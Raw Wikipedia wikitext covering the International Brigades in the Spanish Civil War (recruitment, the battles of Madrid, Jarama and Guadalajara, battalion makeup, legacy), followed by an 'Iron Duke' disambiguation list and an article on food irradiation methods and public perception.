Paths were arranged for volunteers: for instance, Josip Broz, who would became famous as Marshal [[Tito]], was in Paris to provide assistance, money and passports for the volunteers from [[Eastern Europe]]. Volunteers were sent by train or ship from France to Spain, and sent to the base at [[Albacete]]. However, many of them also went by themselves to Spain. The volunteers were under no contract, nor defined engagement period, which would later prove a problem.

[[Image:International Brigades training.jpg|thumbnail|250px|left|American Brigadists in training]]

Many Italians, Germans, and people from other countries with repressive governments joined the movement, with the idea that combat in Spain was a first step to restore democracy or advance a revolutionary cause in their own country. There were also many unemployed workers (especially from France), and adventurers. Finally, some 500 Communists who had been exiled to Russia were sent to Spain (among them, experienced military leaders from the [[World War I|First World War]] like [[&quot;Kléber&quot; Stern]], [[Wilhelm Zaisser|&quot;Gomez&quot; Zaisser]], [[Mate Zalka|&quot;Lukacs&quot; Zalka]] and &quot;Gal&quot; Galicz, who would prove invaluable in combat).

The operation was met by Communists with enthusiasm, but by [[Anarchist]]s with scepticism, at best. At first, the Anarchists who controlled the borders with France were told to refuse Communist volunteers, and reluctantly allowed their passage after protests.

The first group of 500 men (mainly French, with a few exiled Poles and Germans) arrived in [[Albacete]] on [[14 October]] [[1936]]. They were met by international volunteers who had already been fighting in Spain: the surviving Germans from the Thälmann-Batallion, Italians from Gastone Sozzi and French from Commune de Paris. (Amongst these men was [[Britain|British]] poet [[John Cornford]]). Men were sorted  according to their experience and origin, and dispatched to units.

Albacete base was under the command of [[André Marty]], a French Communist whose obsession for plots and spies would trigger massive purges ([[Ernest Hemingway]] would draft a ferocious portrait of Marty in ''[[For Whom the Bell Tolls]]''). Marty was essentially incompetent and owed his position to the friendship with [[Stalin]]. He was seconded by better leaders, who set up training for Cavalry, Artillery and Infantry, and hospitals. 

The [[French Communist Party]] provided uniforms for the Brigades. Discipline was extreme. For several months, the Brigades were locked in their base while their strict military training was under way.

== First Engagements: the Battle of Madrid ==

The first International Brigade, the XIth Brigade (numbered XI, next to the ten [[mixed brigades]] of the Spanish regular army), under command of [[&quot;Kléber&quot; Stern | Kléber]], was engaged during the [[Battle of Madrid]], occupying its positions on [[8 November]] [[1936]]. There were the ''Edgard André'' (German), ''Commune de Paris'' (French),  and ''Jarosław Dąbrowski'' (Polish) battalions, and a section of British machine-gunners, totalling around 1900 men. The XIIth brigade took its positions on the [[13 November]] [[1936]], with 1550 men.

[[Image:International Brigades poster1.jpg|thumbnail|200px|left|Republican propaganda poster featuring the International Brigades. The text reads: &quot;All the people of the world are in the International Brigades at the side of the Spanish People&quot;. The three figures are those of a &quot;yellow&quot;, &quot;black&quot; and &quot;white&quot; soldier, as to represent the whole humanity.]]

The Battle of Madrid was a major success for the Republic, and the role of the International Brigades in this victory was generally recognised, sometimes even beyond reality (the British Ambassador, Sir Henry Childon, declared that there were no Spaniards in the Army which had defended Madrid). Even though the International Brigades did not win the battle by themselves, nor significantly change the situation, they certainly did provide an example by their superb fight, and improved the morale of the population by demonstrating the concern of other nations in the fight.

[[Image:International Brigades casa del campo.jpg|thumbnail|250px|right|Brigadists at ''Casa del Campo'' on the western outskirts of Madrid.]]

One of the strategic positions in Madrid was the [[Casa del Campo]]. There the Nationalist troops were [[Arab]]s commanded by [[General Varela]]. They were excellent fighters in the open, but were ill-trained for urban warfare, a role which the Republicans mastered from the early days of the war. They were thus stopped by the IIIrd and IVth Brigades of the regular Republican Army.
On [[9 November]] [[1936]], the whole XIth Brigade was at the Casa del Campo. In the evening [[&quot;Kléber&quot; Stern | Kléber]] launched an assault on the Nationalist positions, which lasted for the whole night and part of the next morning. At the end of the fight, the Nationalist troops had been forced to retreat, abandoning all hopes of a direct assault on Madrid by Casa del Campo, while the XIth Brigade had lost a third of its men.

On the 12th, as the battle was raging on, the XIIth Brigade, under General &quot;[[Lukacs]]&quot;, took its positions on the [[Valencia]]-[[Madrid]] road, with battalions ''Thälmann'' (Germans and Scandinavians), ''André Marty''(French and Belgians) and ''Garibaldi'' (Italians). The XIIth launched an attack on Nationalist positions on the hill ''Corro de los Angeles'', which was unsuccessful (languages and communication problems, command issues, lack of rest, bad links with armoured units and insufficient artillery support seem to have contributed to the failure).

On the 16th, Anarchist units of the Republican Army were forced to retreat, and the University City was taken by Nationalist troops -- Arab troops and legionnaires covered by the Nazi [[Condor Legion]]. The XIth Brigade was sent to defend the City. The battle was extremely bloody, a mix of artillery and aerial bombardments with bayonet and grenade fights, room by room. Anarchist leader [[Durruti]] was shot there on the [[19 November]] [[1936]], and died the next day. The battle in the University went on until 3/4 of the City was under nationalist control. Both sides then started setting up trenches and fortifications. It was then clear that any assault from either side would be far too costly; the nationalist leaders had to renounce the idea of a direct assault on Madrid, and ready for a [[siege]] of the capital.

On [[13 December]] [[1936]], 18,000 nationalist troops attempted an attack to close the encirclement of Madrid at [[Guadarrama]]. The Republicans sent a Soviet armoured unit (under General [[Dmitry Pavlov]], whose experience in Spain would make him a future hero of the [[Second World War]]) and both XIth and XIIth International Brigades. Violent combat resulted in stopping the Nationalist advance.

An attack was then launched by the Republic on the [[Córdoba, Spain|Cordoba]] front. The battle ended in a form of stale-mate (a communication was issued, saying: &quot;Today, our advance continued without loss of land&quot;). Poets [[Ralph Fox (disambiguation)|Ralph Fox]] and [[John Cornford]] were killed. Eventually, the Nationalists advanced, taking the hydro-electric station at ''El Campo''. [[André Marty]] accused the commander of the ''Marseillaise'' Battalion, [[Gaston Delasalle]], of espionage and treason and had him executed (it is doubtful that Delasalle would have been a spy for Francisco Franco; he was denounced by his own second-in-command, [[André Heussler]], who might have been a traitor himself and was later executed for treason by the French Resistance during the Second World War).

Further Nationalist attempts after Christmas to encircle Madrid met with failure, not without extremely violent combat. On [[6 January]] [[1937]], the ''Thaelmann'' Battalion arrived at ''[[Las Rozas]]'' and held its positions virtually to the last man. On the 9th, only ten kilometers had been lost to the Nationalists, when the XIIth and XIVth International Brigades and the 1st British Company arrived in Madrid. Violent Republican assaults were launched in attempt to retake the land, but with little success. On the 15th, trenches and fortifications were built by both sides, resulting in a stalemate. 

The Nationalists did not retake Madrid until the very end of the war.

== The battle of [[Jarama]] ==
On the [[6 February]] [[1937]], following the fall of [[Málaga]], the nationalists launched an attack on the [[Madrid]]-[[Andalusia]] road, south of Madrid. The Nationalists quickly advanced on the little town [[Ciempozuelos]], held by the XVth International Brigade, which was composed by the ''Saklatvala'' Battalion (British), the ''Dimitrov'' battalion (miscellaneous [[Balkan]] nationalities), the ''6 Février'' Battalion ([[Belgium|Belgians]] and French) and the ''[[Abraham Lincoln]]'' battalion (550 [[United States|Americans]], many of them [[African-American]]). 
There was also a sub unit of Irish men in this battle known as the [[Connolly Column]]. This group suffered heavy blows as there was only around 80 Irish men to begin with, these Irish men were made up of southern irish and northern Irish. The northern Irish comrades came from Belfast, Derry and other Counties and were: Charlie Donnelly, Eddie O'Flaherty, Paul Burns, Jackie Hunt, Bill Henry, Bill Beattie, Paddy McLaughlin, Bill Henry, Peter O'Connor, Peter Power, Johnny Power, Liam Tumilson, Jim Straney, Willie O'Hanlon, Ben Murray and Fred McMahon.From County Derry came Eamonn Mc Grotty an ex Christian Brother and fluent Irish speaker who taught his classes through the medium of Irish, he died fighting alongside Bob Hillard from County Kerry, a Church of Ireland Pastor who was wounded in the same battle and would later die from the injuries he recieved.This particular instance shows the diverse backgrounds of those in the International Brigades, one an ex Catholic Christian Brother, the other an ordained Church of Ireland Clergyman, fighting and dying on the same side.


On the [[11 February]] [[1937]], all sentries of the ''André Marty'' battalion of the XIVth Brigade were stabbed and a Nationalist brigade crossed the Jarama. The ''Garibaldi'' Battalion stopped the advance with heavy fire. At another point, the same tactic allowed the Nationalists to deploy their troops past the river. 

The British ''Saklatvala'' Battalion took most of the attack, on the 12th. It defended its positions under heavy artillery fire for 7 hours. The place became known as &quot;Suicide Hill&quot;. At the end of the day, 225 men remained of the 600 of the British battalion. A company was made prisoner by ruse (Nationalists advanced amongst their ranks singing ''[[The Internationale]]'').

On the 17th, the Republican Army struck back. The 23rd and the 27th, the International Brigades were engaged, but with little success. The ''Abraham Lincoln'' battalion was put under great pressure, with no artillery support. There were 120 killed and 175 wounded. Amongst the dead was the [[Ireland|Irish]] poet [[Charles Donelly]] [http://www.ajoderse.com/varios/red/red.htm].

As in Madrid, the fight resulted in a stalemate, since both sides had consolidated their positions to the point were no useful assault could be undertaken.

On the [[22 February]], [[1937]] the [[League of Nations]] Non-Intervention Committee ban on foreign national &quot;volunteers&quot; went into effect.

==The [[Battle of Guadalajara]] == 

After the failed assault on the Jarama, the Nationalists  attempted another assault on Madrid, from the North-East this time. The objective was the town of [[Guadalajara, Spain|Guadalajara]], 50 kilometers from Madrid. The whole Italian expeditionary corps (35,000 men, with 80 battle tanks and 200 field artillery) was deployed, as [[Mussolini]] wanted the victory to be credited to Italy. On [[9 March]] [[1937]], the Italians made a breach in the Republican lines, but did not properly exploit the advance. However, the rest of the Nationalist army was advancing, and the situation appeared critical for the Republicans. A mixture of the best available units of the Republican army was quickly set up, among them the XIth and XIIth International Brigades. 

At dawn on [[10 March]] [[1937]] the Nationalists closed in, and by noon, the ''Garibaldi'' Battalion made its move. Some confusion arose from the fact that the sides were not aware of each other's moves, and that both sides spoke Italian; this resulted in scouts from both sides exchanging information without realising they were enemies. The Republican lines advanced and made contact with the XIth International Brigade. Fascist battle tanks were shot at and infantry patrols came into action (there took place the incident in which a fascist officer asked why Italian soldiers were shooting at his party, and was responded ''Noi siamo Italiani di Garibaldi'', at which point the Fascists surrendered). The action went on as some sort of Italian civil war in foreign land. The common language was taken advantage of when the Republicans used loudspeakers to broadcast propaganda messages and airplanes to drop messages promising to pay Fascist deserters.

On the 11th, the Fascists broke the front of the Republican army. The ''Thälmann'' Brigade suffered heavy losses but succeeded in holding the [[Trijueque]]-[[Torija]] road. ''Garibaldi'' also held its positions. On the 12th, Republican planes and tanks attacked. The ''Thaelmann'' Brigade attacked [[Trijuete]] with bayonets and re-took the town, capturing numerous prisoners.

== Composition of International Brigade units ==

The first brigades to be formed were mostly composed from [[France|French]], [[Belgium|Belgian]], [[Italy|Italian]] and [[Germany|German]] volunteers, and were numbered as the XI, XII and XIII mixed brigades (according to the re-organisation of the Spanish army, which was consituted in ten ''mixed Brigades'' immediately after the failed ''coup''; these brigades mixed experienced soldiers with volunteers who had just joined but had no experience of combat). 

There were nearly 40,000 volunteers, of whom 9,000 to 10,000 were French, for the defense of the Spanish Republic. Most of them were workers, and half of them were from Paris. They included a large number of veterans of the First World War, which made them efficient fighters. The first engagements fought by the International Brigades during the [[Battle of Madrid]] demonstrated their military value.

The International Brigades were mainly Communists, or under Communist authority. Some were involved in the fighting in [[Barcelona]] against Republican opponents of the Communists: the [[POUM]] (''Partido Obrero de Unificación Marxista'', an anti-[[Stalinist]] Marxist party) and anarchists. However overseas volunteers from anarchist, socialist, liberal and other political positions also served with the brigades.

The battalions were often constituted by speakers of a particular nationality or language, so as to ease understanding of orders. They were named, formally at least, after heroes of the left among the predominant nationalities in each unit.

Later in the war, there was a tightening of military discipline amongst the Spanish Republican military, and learning Spanish became mandatory.

===Non-Spanish Battalions===
* [[Abraham Lincoln Battalion]] Predominantly volunteers from the [[United States]]. The battalion was the first American military unit to be racially-integrated and was at one point commanded by [[Oliver Law]], who became the first black man to lead white American combat troops.
* [[André Marty Battalion]]: Predominantly [[France|French]] and [[Belgium|Belgian]].
* [[Checo-Balcánico Battalion]]: [[Czechoslovakia]]n and [[Balkan]] volunteers.
* [[Commune de Paris Battalion]]: Predominantly French.
* [[Deba Blagoiev Battalion]]: Predominantly [[Bulgaria]]n unit, later merged into [[Dajakovich Battalion]].
* Dajakovich Battalion: Predominantly Bulgarian unit.
* [[Dimitrov Battalion]]: Volunteers from [[Greece]], [[Yugoslavia]], Bulgaria, Czechoslovakia, [[Hungary]] and [[Romania]]. Named after [[Georgi Dimitrov]].
* [[Dombrowski Battalion]]: Mostly [[Poland|Polish]] and Hungarian volunteers. Also Czechoslovakian, [[Ukraine|Ukrainian]], Bulgarian and [[British Mandate of Palestine|Palestinian Jews]]. 
* [[Edgar André Battalion]]: Mostly [[Germany|German]]. Also [[Austria]]n, Yugoslavian, Bulgarian, [[Albania]]n, Romanian, [[Denmark|Danish]], [[Sweden|Swedish]], [[Norway|Norwegian]] and [[Netherlands|Dutch]] volunteers.
* [[Español Battalion]]: [[Mexico|Mexicans]], [[Cuba|Cubans]], [[Puerto Rico|Puerto Ricans]], [[Chile]]ans, [[Argentina|Argentinians]] and [[Bolivia]]ns. 
* [[Figlio Battalion]]: mostly [[Italy|Italian]] unit; later merged with [[Garibaldi Battalion]]. 
* Garibaldi Battalion: mostly Italian. Also some Albanians and Yugoslavs.
* [[George Washington Battalion]]: the second US battalion. After heavy casualties at Jarama and Brunete, it was merged with the Lincoln Battalion, to form the '''Lincoln-Washington Battalion'''.
* [[Hans Beimler Battalion]]:  Mostly German unit; later merged with [[Thaelmann Battalion]].
* [[Henri Barbusse Battalion]]: Predominantly French unit.
* [[Henri Vuillemin Battalion]]:  Predominantly French unit.
* [[Italoespañol Battalion]]: Italian and Spanish volunteers.
* [[Louise Michel Battalion]]: French and Belgian unit, named after [[Louise Michel]] a hero of the 1871 [[Paris Commune]])
* [[Louise Michel II Battalion]]: Predominantly French, later merged with Henri Vuillemin Battalion.
* [[Mackenzie-Papineau Battalion]]: Predominantly [[Canada|Canadian]] unit, named after two leaders of an 1837 revolt against the [[British Empire]]. Also known as the Canadian battalion and &quot;the MacPaps&quot;.
* [[Marsellaise Battalion]]: Predominantly French, also some British.
* [[Mathis Rakosi Battalion]]: Predominantly Hungarian.
* [[Adam Mickiewicz Battalion]]: Predominantly voluneers from Poland.
* [[Palafox Battalion]]: Voluneers from Yugoslavia, Poland, Czechoslovakia, Hungary and France. 
* [[Pierre Brachet Battalion]]: Mostly French.
* [[Radford Battalion]]: Mostly British.
* [[Rakosi Battalion]]: Mainly Hungarian, also including volunteers from Czechoslovakia, Ukraine, Poland, [[China]], [[Mongolia]] and Palestinian Jews.
* [[Saklatava Battalion]]: Named after a British Communist MP of [[India]]n descent. The name was not widely used and the Battalion's banner identified it as the &quot;'''British Battalion'''&quot;. However, a significant proportion of its personnel were actually from [[Ireland]], [[Australia]], [[New Zealand]], [[South Africa]] and other [[Commonwealth of Nations|Commonwealth countries]].
* [[Sans nons o Des Neuf Nationalités Battalion]]:  French, Belgian, Italian, German, Austrian, Dutch, Danish, [[Switzerland|Swiss]] and Polish. 
* [[Six Février Battalion]]: French, Belgian, [[Morocco|Moroccan]], [[Algeria|Algerian]], [[Libya|Libyan]], [[Syria|Syrian]], [[Iran|Iranian]], [[Iraq|Iraqi]], Chinese, [[Japan|Japanese]], [[India]]n and Palestinian Jewish volunteers.
* Thaelmann Battalion: predominantly German, named after German communist leader [[Ernst Thaelmann]], leader of the German Communist Party.
* [[Thomas Masaryk Battalion]]: Mostly Czechoslovakian.
* [[Tschapaiew Battalion]]: Personnel from Ukraine, Poland, Czechoslovakia, Bulgaria, Yugoslavian, [[Turkey]], Italy, Germany, Austria, Finland, Sweden, Norway, Denmark, Belgium, France, Greece, Albania, Netherlands, Switzerland and the [[Baltic countries]].
* [[Vaillant-Couturier Battalion]]: French, Belgian, Czechoslovakian, Bulgarian, Swedish, Norwegian and Danish volunteers.
* [[Veinte Battalion]]: Italian, Yugoslavian and Bulgarian volunteers. 
* [[Henri Vuillemin Battalion]]: Mostly French. 
* [[Zwölfte Februar Battalion]]: Mostly Austrian.
* ''Sub-battalion units''
** [[Connolly Column]]: a group of about 80 Irish volunteers, named after [[Irish republicanism|Irish republican]] hero, [[James Connolly]] and led by [[Frank Ryan (Irish republican)|Frank Ryan]].

== Status of the Brigades after the war ==
[[Image:International Brigades monument berlin.jpg|thumbnail|The monument which honours the German brigadists in Berlin]]
[[Image:25 anni int brigades.jpg|thumb|Czechoslovak poster celebrating the 25th anniversary of establishing the International Brigades.]]
[[Image:Perelachaise-BrigadesInternationales-p1000377.jpg|thumb|The monument honouring the French Brigadists in [[Père Lachaise]] cemetery.]]

Since the Civil War was eventually won by the Nationalists, the Brigadists were initially on the &quot;wrong side&quot; of History, especially since most of their home countries had a right-wing government (in France, for instance, the [[Popular Front]] was not in power anymore). However, since most of these countries found themselves at war with the very powers which had been fought in Spain, the Brigadists gained some prestige as the first guard of the democracies, having fought a prophetical combat. Retrospectively, it was clear that the war in Spain was as much a Spanish Civil war as a precursor of the coming [[Second World War]]. Some glory was therefore accredited to the volunteers (a great deal of the survivors having also fought gallantly during the World War), but this soon faded in the fear that it would promote (by association) communism. Also, the ambiguous stance viz. Germany of the Communist Parties in the West, during the period between the Hitler-Stalin pact and the German invasion of the Soviet Union, contributed to widespread uneasiness when evaluating the Brigadists' role in the politics of the Nazi era. Since the fall of the Soviet bloc, the International Brigades have been quite unanimously regarded as anti-Fascist heroes, and the legitimacy of their fight has, for the most part, washed away the stain of summary executions and Stalinist manipulation, despite being non-governmental combatants.

=== Swiss Brigadists ===
766 [[Switzerland|Swiss]] went to fight for the Republic, while only 40 went on the other side. It is interesting to note that the pro-republicans were later prosecuted for breaking the Swiss neutrality laws, which prohibit Swiss nationals from fighting for foreign countries, while the pro-fascists were never prosecuted. This might be explained on one hand by the anti-communism of the Swiss government at the time, but also because the Swiss living in Spain at the time (nearly 4000) were very much afraid of what was perceived as a communist movement. The Republican fighters were re-habilitated in the 1990s.

Interestingly, it has been noted that the punishments of those prosecuted were very variable (ranging from 15 days to 4 months in prison) but that the French-speaking tribunals had been as a rule much more lenient than the German-speaking ones. This is very much corellated to the openly pro-fascist sentiment of the elite in those parts at the time.

=== Recognition of former Brigadists ===

On [[26 January]] [[1996]] the Spanish government gave Spanish citizenship to the Brigadists. At the time, roughly 600 remained. By the end of 1938, Prime Minister [[Juan Negrin]] had promised Spanish citizenship to the Brigadists, a promise which had not been kept since the Republic had lost the war.

==Misc==

=== Symbolism and  Heraldic ===

[[Image:Flag of the International Brigades.svg|150px|left|Flag of the International Brigades]]
The International Brigades were inheritors of a Communist aesthetic, which explains the numerous very stylised posters about the subject. 

The flags featured the colours of the Spanish Republic : Red, Yellow and Purple, often along with Communist symbols (Red flags, [[hammer and sickle]], fist,...). The emblem of the brigades themselves was the three-pointed red star, which is often featured.
[[Image:International Brigades flags1.jpg|thumb|300px|left|Flags of the Brigades]]
[[Image:International Brigades flags2.jpg|thumb|300px|left|Flags of the Brigades]]
&lt;br style=&quot;clear: left&quot;/&gt;

=== Personalities involved in the International Brigades ===

* George Aitken, (father of [[Ian Aitken]], who was later to be political editor of [[the Guardian]])
* [[Norman Bethune]] - A Canadian doctor who served with the Canadian, [[Mackenzie-Papineau Battalion]] or Mac-Paps and developed many brilliant medical tactics.
* [[Willy Brandt]] - West German Chancellor from 1969-1974.
* John Cornford
* &quot;Gal&quot; Galicz
* [[Pierre Georges]] dit Colonel Fabien
* [[David Guest]]
* [[Ernest Hemingway]] (although he was in Spain officially only as a reporter, Hemingway did not balk at lending a hand in the small arms training of the recruits)
* [[Oliver Law]]
* [[Laurie Lee]]
* [[Luigi Longo]]
* [[André Marty]]
* [[George Orwell]] -- joined the POUM rather than the communist-run International Brigades
* [[Abe Osheroff]] (American activist and director of 1974 documentary: ''Dreams and Nightmares'')
* [[Ezekias Papaioannou]] later general secretary of [[AKEL]]
* [[Henri Rol-Tanguy]]
* [[Frank Ryan (Irish republican)|Frank Ryan]]
* [[Mehmet Shehu]]
* [[Stephen Spender]]
* [[&quot;Kléber&quot; Stern]]
* [[Simone Weil]]
* [[Wilhelm Zaisser|&quot;Gomez&quot; Zaisser]]
* [[Mate Zalka|&quot;Lukacs&quot; Zalka]]
*  Žikica Jovanović - Španac ([[Serb]], who later started uprising in [[Serbia]] in [[1941]])

==References==
===Books===
[[Image:Sierra de Terruel poster.jpg|thumbnail|250px|right|Poster for the film ''Sierra de Teruel'', by [[André Malraux]] ]]
* ''Spanish Civil War'', Hugh Thomas
*[[Nancy Mitford]]'s novel ''[[The Pursuit of Love]]'' ([[1945 in literature|1945]])
*''British Volunteers For Liberty'', Bill Alexander
*''Book of the 15th Brigade'', edited by Frank Ryan
*''Britons in Spain'', Bill Rust
*''Connolly Column'', [[Michael O'Riordan]], Dublin, New Books, 1979 (an account of the contribution of the Irish members of the Brigades)
*''Homage To Catalonia'', George Orwell, (an account of his time fighting with the POUM)
*''A Moment of War''. Laurie Lee
*''For Whom the Bell Tolls'', Ernest Hemingway

=== Internet pages ===

*[http://www.international-brigades.org.uk/ IBMT the international brigade memorial trust]
*[http://www.international-brigades.org.uk/british_volunteers/farewell.htm Farewell to the International Brigades ]
*[http://www.alba-valb.org/ Abraham Lincoln Brigade Archives]
*[http://www.spartacus.schoolnet.co.uk/SPinternational.htm Spartacus Educational]
*[http://www.geocities.com/roav1945/inter.html The International Brigades (Veterans' Stories)]

=== Photographs ===
* [http://asso.acer.free.fr/photos/galeriephotos.htm asso.acer.free.fr]
* [http://www.english.uiuc.edu/maps/scw/photessay.htm english.uiuc.edu]

=== Films ===
* [http://www.imdb.com/title/tt0114671/ Land and Freedom], by [[Ken Loach]] although the subject of the film is not the International Brigades, it portrays international volunteers, and the actual International Brigades are indeed featured. Loach is, however, not sympathetic to the Brigades and this is apparent in their portrayal in the film.
* [http://us.imdb.com/title/tt0037680/ Sierra de Teruel ] by [[André Malraux]] (features the International bomber squadron in margin of the Brigades)

=== Audio streams ===
*[http://www.bbc.co.uk/bbcfour/audiointerviews/realmedia/gellhornm/gellhornm3.ram [[Martha Gellhorn]] talks about the [[Spanish Civil War]] ] ([[BBC Radio 4]] audio stream).
*[http://www.bbc.co.uk/radio4/history/inourtime/inourtime_20030403.shtml The Spanish Civil War - causes and legacy] part of the [[BBC Radio 4]] [[In Our Time]] series.

[[Category:Spanish Civil War]]

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      <text xml:space="preserve">*Two [[duke]]s, both [[military officer]]s, were nicknamed the &quot;'''Iron Duke'''&quot; during their lifetimes:
**[[Arthur Wellesley, 1st Duke of Wellington]]
**[[Fernando Álvarez de Toledo, Duke of Alva]]

*[[HMS Iron Duke|HMS ''Iron Duke'']] is also the name of three ships in the [[British Navy|Royal Navy]], one of which is still in active service (a [[frigate]]).

*[[Iron Duke (engine)|Iron Duke]] is also the nickname given to a 2.5 litre [[internal combustion engine]] used in many 1980s-era [[General Motors]] [[front-wheel drive]] automobiles.

*[[GWR Iron Duke Class|Iron Duke]] was also the name of a famous class of  [[locomotive]] built by the [[Great Western Railway]] in [[England]].

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'''Food irradiation''' is the process of exposing food to [[ionizing radiation]] in order to disinfest, [[sterilization (microbiology)|sterilize]], or [[food preservation|preserve]] [[food]].  It is, like most technology involving ionizing radiation, the subject of some controversy regarding its safety.  [[Irradiation]] is used on other things as well, such as medical hardware.  Largely to avoid consumer fear of the term &quot;radiation&quot;, it is often called '''cold pasteurization''' or '''electronic pasteurization''' to emphasize its similarity to the process of [[pasteurization]]. 

== Food irradiation ==
[[Image:Radura-Symbol.svg|thumb|220px|The radura logo, used to show a food has been treated with radiation]]
By irradiating food, depending on the dose, some or all of the [[microbe]]s and [[insect]]s present are [[kill]]ed. This prolongs the life of the food in cases where microbial spoilage is the limiting factor in shelf life. Some foods (e.g., [[herb]]s and [[spice]]s) are irradiated at such high doses (5 [[gray (unit)|kilograys]] or more) that they are partially sterilized. It has also been shown that irradiation can delay the ripening or sprouting of [[fruit]]s and [[vegetable]]s and replace the need for [[pesticide]]s.  Irradiation may also create new chemicals in food that are unique to this process - chemicals that would not be created by cooking or other standard food processing techniques.

The [[United Nations Environmental Program]] passed the [[Montreal Protocol|Montreal Protocol on Substances that deplete the Ozone Layer]] banning amongst other substances all non-critical uses of [[Methyl bromide|methyl bromide]], the most common [[fumigant]] for post-[[harvest]] [[quarantine]] treatment of fruit. Although in theory still permitted for quarantine applications, prices of the fumigant have increased dramatically as a consequence. Some governments and corporations think that irradiation is a legitimate replacement for such fumigants and in consequence some large agricultural nations of the world are currently building irradiation facilities for fresh fruit, although the food industry has been slow to adopt this technology on any large scale.

The United States [[Department of Agriculture]] has approved irradiation technology as an alternative treatment for fruits and vegetables that are considered hosts to a number of [[Tephritidae|fruit flies]] and seed [[weevil]]s. [[Food and agriculture organization of the United Nations|The United Nations Food and Agricultural Organization]] (FAO) have passed a motion to support this step committing the member states to implement this technology for their national [[Sanitary and Phytosanitary Agreement|phytosanitary]] programs.

== Processes ==
While the term irradiation pertains to all forms of treating food products with ionizing radiation, specific types of radiation treatments are used in the food industry today.

===Radurization===
Radurization is the process of pasteurization by the use of radiation. It primarily used to treat foods that have a high moisture content and a high [[pH]]. The microbes that are targeted are mainly spoilage organisms. Meat and fish are the foods for which this process is mainly used. For dryer, acidic foods, [[yeast]]s and [[mold]]s can be denatured. The treatment dose for radurization is approximately 1 kGy.

===Radicidation===
The process of radicidation is used to eliminate [[pathogen]]s. This process kills vegetative cells only, meaning that it will not kill [[spore]]s. Also, certain radiation-resistant vegetative cells can survive, including some strains of the bacterium [[Salmonella]] which have been found to be radiation-resistant. [[Refrigeration]] is required for the product post-treatment. The dose for radicidation ranges from 2.5 - 5.0 kGy. At this level some physical and chemical changes may be detected, depending on the type of food. For example, leafy vegetables such as lettuce are more sensitive to irradiation than foods with a tougher consistency. 

===Radappertization===
Radappertization involves treating the product to levels of radiation of approximately 30 kGy. This high level of radiation kills all vegetative cells and also destroys spores from organisms such as [[Clostridium botulinum]]. Such levels are generally deemed suffcient for clinical sterility, but not usually employed on food items. Based on recommendations of the International Consultative Group on Food Irradiation that was formed by the joint FAO/IAEA division many national legislation limit applicable doses to 10kGy for many food items.
 
== Technologies ==
===Electron beam irradiation===
Electron beam irradiation uses [[electron]]s accelerated in an [[electric field]] to a velocity close to the speed of light. International and national regulations limit the energy of the beam to guarantee that no [[Induced radioactivity|induced radioactivity]] occurs. Electrons have [[cross-section]]s many times larger than photons, so that they do not penetrate the product beyond a few inches, making it necessary to treat fruit and vegetables individually; on the other hand, treatment times are only a few seconds. Electron facilities rely on substantial concrete shields to protect workers and the environment from radiation exposure.

===Gamma radiation===
[[Gamma radiation]] is radiation of [[photon]]s in the gamma part of the [[Electromagnetic spectrum|spectrum]]. The radiation is obtained through the use of [[radioisotope]]s, generally [[cobalt]] 60 or in very few cases [[cesium]] 137. It is the most cost-effective technology and is preferred by many processors because the good penetration enables administering treatment to entire industrial pallets or totes, greatly reducing the need for material handling. A pallet or tote is typically exposed for several minutes depending on dose. The environment is protected by a large concrete shield. With most designs the radioisotope can be lowered into a water storage pool in order to allow maintenance personnel to enter the radiation shield. In this mode the water in the pool absorbs practically all radiation providing a safe working environment for plant personnel. Other not commonly used designs feature dry storage by providing movable shields that eliminate radiation levels in areas of the irradiation chamber. 

One variant of gamma irradiators keeps the cobalt 60 under water at all times and lowers the product to be irradiated under water in hermetic bells. No shielding is required for such designs.

===X-Ray irradiation===
Similar to gamma radiation, [[x-ray]]s are a lower-energy substitute for the former. These systems are scalable and have good penetration, with the added benefit of using an electronic source that stops radiating when switched off. They also permit very good dose uniformity. However these systems require a great deal of electrical energy when operating, and exposure times are longer than with gamma rays. Like most other types of  facilities, X-Ray systems rely on concrete shields to protect the environment from radiation.

== Public perception==
The effects of food irradiation have been studied for over 60 years. Under certain circumstances some research suggests that irradiation forms new chemicals in food, some of which are uniquely [[Radiolyse|radiolytic]] products. However, the levels of these compounds produced in irradiated foods have been deemed too low to present a meaningful risk to consumers. At very high doses, e.g. &gt;6 [[Gray (unit)|kilogray]], irradiation can reduce the [[vitamin]]s and other [[essential nutrient]]s; and negatively impact the [[flavor]], [[odor]] and [[texture]] of food. At the doses typically used in irradiation treatment of food, e.g. &lt;3.5 kilogray, these changes appear minimal. Independent scientific research on the subject has been extensive leading to endorsement of food irradiation by the [[US Food and Drug Administration]], the [[United States Department of Agriculture]] and the U.N. [[World Health Organization]] as a safe, effective  process.

Concerns have been expressed by public health groups that irradiation, by killing all [[bacteria]] in food, can serve to disguise poor food-handling procedures that could lead to other kinds of [[contamination]]. However, processors of irradiated food are subject to all existing regulations, inspections and potential penalties regarding plant safety and sanitization, including fines, recalls and criminal prosecutions. 

Others are concerned with the safety of irradiation plants and accidents that have occurred previously. The three recorded accidents on file at the IAEA in the history of irradiation facilities in the world were suffered by individual employees who entered the radiation chamber, disabling all available safety measures. 

Based on the intrinsic inability of the techniques used for food irradiation to induce radioactivity into the targets it is impossible for an irradiation facility to release radioactive material into the environment with the processed items. Any problems that might occur are therefore contained in the radiation zone of the installation. Radioactive sources used in irradiators are thermally hot, and the repeated cycling of the source in and out of the shielding pool can cause thermal shocks that may eventually cause breakage of the cladding around the radioactive materials. Although this risk has been eliminated by modern source configuration, this is not commonly a major problem as by far the most common isotope employed is cobalt 60 which is not water soluble making a clean-up relatively simple. An irradiator in the [[Atlanta, Georgia]] area, however, had to be closed after the storage pool became radioactive after a leak of the water-soluble Cesium 137 isotope sources. As a result, the US NRC has banned cesium 137 for in water storage. These concerns do not apply to electron beam, or x-ray  irradiators or the most common cobalt 60 facilities, in which the radiation is gone as soon as the source is switched off or in the case of cobalt 60 stored in water.

